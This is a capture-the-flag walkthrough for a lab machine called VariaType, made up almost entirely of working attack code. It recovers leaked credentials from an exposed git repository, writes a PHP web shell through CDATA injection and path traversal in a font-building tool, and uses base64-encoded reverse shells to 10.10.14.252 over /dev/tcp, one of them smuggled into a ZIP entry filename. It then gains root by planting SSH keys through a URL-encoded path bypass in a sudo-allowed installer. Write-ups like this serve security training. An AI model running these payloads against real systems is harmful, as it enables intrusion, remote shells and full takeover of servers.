VariaType Walkthrough

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

# Directory fuzzing — only /services returned anything useful
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -u "http://variatype.htb/FUZZ" -c -mc 200,301,302,403

# Subdomain discovery — KEY FINDING
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u "http://variatype.htb/" -H "Host: FUZZ.variatype.htb" -c -fs <default_size>

pip3 install git-dumper --break-system-packages
git-dumper http://portal.variatype.htb/.git ./repo
cd repo

git log --oneline --all
# 753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
# 5030e79 feat: initial portal implementation

# Diff reveals hardcoded credentials in deleted commit content
git diff 5030e79 753b5f5
# diff --git a/auth.php b/auth.php
# +$USERS = [
# +    'gitbot' => 'G1tB0t_Acc3ss_2025!'
# +];

UPLOAD_FOLDER  = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
SECRET_KEY = '[REDACTED]'

# Processing via subprocess:
subprocess.run(['fonttools', 'varLib', 'config.designspace'], cwd=workdir, ...)

# Vulnerable code in fontTools/varLib/__init__.py:
filename = vf.filename                            # Unsanitised
output_path = os.path.join(output_dir, filename)  # Path traversal
vf.save(output_path)                              # Arbitrary file write

# make_ttf.py — generates two compatible master fonts
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def make_ttf(filename, weight):
    fb = FontBuilder(1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    pen = TTGlyphPen(None)
    pen.moveTo((0,0)); pen.lineTo((500,0))
    pen.lineTo((500,500)); pen.lineTo((0,500))
    pen.closePath()
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

make_ttf("source-light.ttf", 100)
make_ttf("source-regular.ttf", 400)

Syntax: <![CDATA[PAYLOAD]]]]><![CDATA[>]]>
Result in output: PAYLOAD]>

TestWeight400<?php echo shell_exec("echo 'BASE64'|base64 -d|bash");?>]]>ThinMEOW2

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <!-- CDATA injection embeds PHP reverse shell in the TTF name table -->
      <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTIvNDQ0NiAwPiYxCg=='|base64 -d|bash");?>]]]]><![CDATA[>]]></labelname>
      <labelname xml:lang="fr">MEOW2</labelname>
    </axis>
  </axes>
  <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <!-- Path traversal writes shell.php to the PHP-FPM webroot -->
    <variable-font name="MyFont"
      filename="../../../../var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets><axis-subset name="Weight"/></axis-subsets>
    </variable-font>
  </variable-fonts>
  <instances>
    <instance name="Display Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Display Thin</labelname>
    </instance>
  </instances>
</designspace>

# Start listener
nc -lvnp 4446

# Upload malicious.designspace + source-light.ttf + source-regular.ttf
# to http://variatype.htb/tools/variable-font-generator

# Trigger PHP execution
curl http://portal.variatype.htb/files/shell.php

# Vulnerable section of process_client_submissions.bak:
for file in $ext; do
    if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
    import fontforge
    font = fontforge.open('$file')   # <-- bash interpolates $file here!
    ...
    "; then
        log "SUCCESS: Validated $file"
    fi
    mv "$file" "$PROCESSED_DIR/"
done

# Run as www-data in the upload directory
import zipfile

# Outer zip name passes the regex
zip_name = "validfont.zip"

# Inner filename contains command injection
# Payload: bash -i >& /dev/tcp/10.10.14.252/4449 0>&1
inner = "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTIvNDQ0OSAwPiYxCg==|base64 -d|bash).ttf"

with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr(inner, "dummy content")

# Listener on attacker machine
nc -lvnp 4449

# Place validfont.zip in /var/www/portal.variatype.htb/public/files/
# Wait for steve's cron job to run
# bash expands $(...) in the extracted filename -> reverse shell as steve

sudo -l
# User steve may run the following commands on variatype:
#     (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

# Generate SSH key pair on attacker machine
ssh-keygen -t ed25519 -f /tmp/variatype_key -N ""
cp /tmp/variatype_key.pub authorized_keys

# Custom HTTP server — serves authorized_keys to any request path
python3 custom_server.py  # listens on port 8888

# custom_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        data = open("authorized_keys", "rb").read()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

# Exploit: %2F bypasses basename() sanitisation
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.14.252:8888/%2Froot%2F.ssh%2Fauthorized_keys"

# Output:
# [INFO] Plugin installed at: /root/.ssh/authorized_keys
# [+] Plugin installed successfully.

# SSH as root
ssh -i /tmp/variatype_key [email protected]

Nmap (port 80 → variatype.htb)
  └─► Subdomain fuzzing → portal.variatype.htb
        └─► Exposed .git → gitbot credentials (G1tB0t_Acc3ss_2025!)
              └─► Portal login → Validation Dashboard (lists TTFs)
                    └─► CVE-2025-66034:
                          Two-master TTFs + CDATA XML injection + path traversal
                          → shell.php written to PHP-FPM webroot
                          → curl triggers PHP → www-data shell
                                └─► /opt/process_client_submissions.bak
                                      → steve's cron processes uploads including zips
                                      → malicious ZIP with $() filename
                                      → command injection → steve shell
                                            └─► sudo -l → install_validator.py (root)
                                                  → CVE-2025-47273: %2F bypass
                                                  → authorized_keys → /root/.ssh/
                                                  → SSH as root ✅